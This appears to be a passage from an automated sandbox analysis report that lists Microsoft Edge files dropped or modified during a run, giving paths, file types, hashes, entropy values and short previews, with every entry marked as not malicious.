Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44d90.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089806128014725
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWUdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynEHkzItSmd6qE7lFoC
MD5:	7A2C8EBFF28F35CE01C51F8BF937C901
SHA1:	B73346782911B36A870F24E4C2245AAC4A56DB35
SHA-256:	9F0FF3168D0533C9F105230215A30C5E711B71384B11BFF11F5E9CAF7BDB4F46
SHA-512:	25C4B0DFF7D10B137924D31CEB786FA76418C39C83AA415A71EEE104D976596030AAD7C96548C63FF0589FBAADE33B56B43A31B65D6E3E5C0EBC4F0E9DD777CA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.031228178152077
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAcldCT3cVTW0:YWLSGTt1o9LuLgfGBPAzkVj/T8lkT3cz
MD5:	5BE801533A0C00BB8720D73CBE068CF7
SHA1:	4403BB49497DB520804305CC13DF5CAD36107B62
SHA-256:	2E13010EF25B687099C1B16E075616ADBCC6B95FA1DA7B806D000918E3CA4205
SHA-512:	956005FFE5899E14F6C9C953D751FCFEEA5D4E4CBF4343FC63CCA4B0E3A733B5AD6C7B0B3D658EC409A56DD7632CAE9AD9D4E9608A0045422974CFB33707584A
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1738526034790638}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a7cc1eb4-bbc2-4fb3-a033-6f293a489f40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45961
Entropy (8bit):	6.086275074807142
Encrypted:	false
SSDEEP:	768:hMkbJ6eg6KzhXRLrDKDsQi1zNtkzaxS9YkIbbTImQWkXtQvq6CioOJDSgzMMd6qO:hMk16zRRvDKTzb4/k9QbFoOtSmd6qE79
MD5:	382D8EE29006262C6988E4330B7C5A26
SHA1:	17AEAC2072A5BEDA6499484FDB738008A2C7894F
SHA-256:	7AA161724256B0820239D5E4CAB429D9DF3827BECD13E88F84E7261937C14D93
SHA-512:	6A6696516770D02FF047308BA36FBF45DBF54A8AD0316A7CBBB5C114B16EE4FD2738B1630E91A2A1FAE4B643B10F9DC8DAE344F727999E3A04738BC3B6B80709
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13382898831424402","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"33cb9e12-d72c-4bf6-bacc-5dde7b604ac0"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1738425236"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b607f0b6-7f0f-4ddc-8709-e710fff74c93.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44914
Entropy (8bit):	6.095497360797641
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2Ni1zNtkzaxSNN+MTXwFFPluKJDSgzMMd6qD47u3S:+/Ps+wsI7ynVzb0uKtSmd6qE7lFoC
MD5:	C88991B080B415B039FB4A6840CA8383
SHA1:	4A9B97595519DC630220558512620AE7384F3A10
SHA-256:	68C00AD8AFE7292E4F83B0FBE7766828C10FC0AB09286A51B63593F27F56AA32
SHA-512:	6C271FC0E740CD4A91E2F20AF5C854B56CB599999DE2804FA9D9E73A8E72DEFCD083705268C2317FCBD34873D3372694136DC22843D2CF98FC34AE58E02BD927
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.835879946264487
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxMxl9Il8uNDSyL0sNMY7dpMgBkEleZaAd1rc:mxY7DSyQsNMAMikMeZa3
MD5:	7D79CF7D012E12AD2694FF394A6A6244
SHA1:	3C29A81394E41B238976C3D0503C95C95205FFAB
SHA-256:	F88DA1D98CCB7106456B3EFC68F3146ABCB32AB7A78971E5945462EA04D9149D
SHA-512:	614A31E2EEA1DB26E2199832A0780BD0989A953F1EFE958429A60375AF7592A3B1FACF33EA613DE788783F512C8C0A3A6E00B3BB8E2AE8C35AECEC4B7816ECED
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.D.1.s.4.M.l.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.L.T.d.y.l.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.998276725576768
Encrypted:	false
SSDEEP:	96:dY7DSAykuSu5eOUXuZ5FTkLkgDuFG1CVlz5/9w:dDkuSOegaQBFG1Mlz5/9w
MD5:	87A8F68C2F3198F1253F6F47F60F1A7E
SHA1:	7D3AF37775A174BA449E028A32E3DB4DBA6EC406
SHA-256:	C65DC143829553BCD18766210209B1B036B4F6B9522AE30923A7A33FBF4B5837
SHA-512:	959B1B4DA6AD9BBA4B27CBD28716C9B5B8ACA31ED7E68535E06877F254CDB84F9549936DB397E0CF7B2C4500F2EC917B55A2F71FFA3841F01395DE0D0D88CAA5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".G.3.5.K.x.s.F.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.L.T.d.y.l.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.910628446456525
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xYuxl9Il8uNDSvY8E08fy8+lwx5ycI0Gj6kIXq36GyPlsr1d/vc:aJY7DSvg0yawXGukI636Gqa4
MD5:	BC6D75FFC239689B803FB3AE4472A613
SHA1:	FD74011947E872C99FEF34568B40F4D00C2FC1CB
SHA-256:	DF7759814438630F0F5286EC495AE49C5FED17FCA5D885C2F7F7032CF41F867C
SHA-512:	37B5F88CEC284E144203080C8AF140B2861DC74EE579130B7E5677D336724E5520C0F8FB065CBE65F28F1080224B6D216326A67BB831615A7F81F9FED6E57616
Malicious:	false
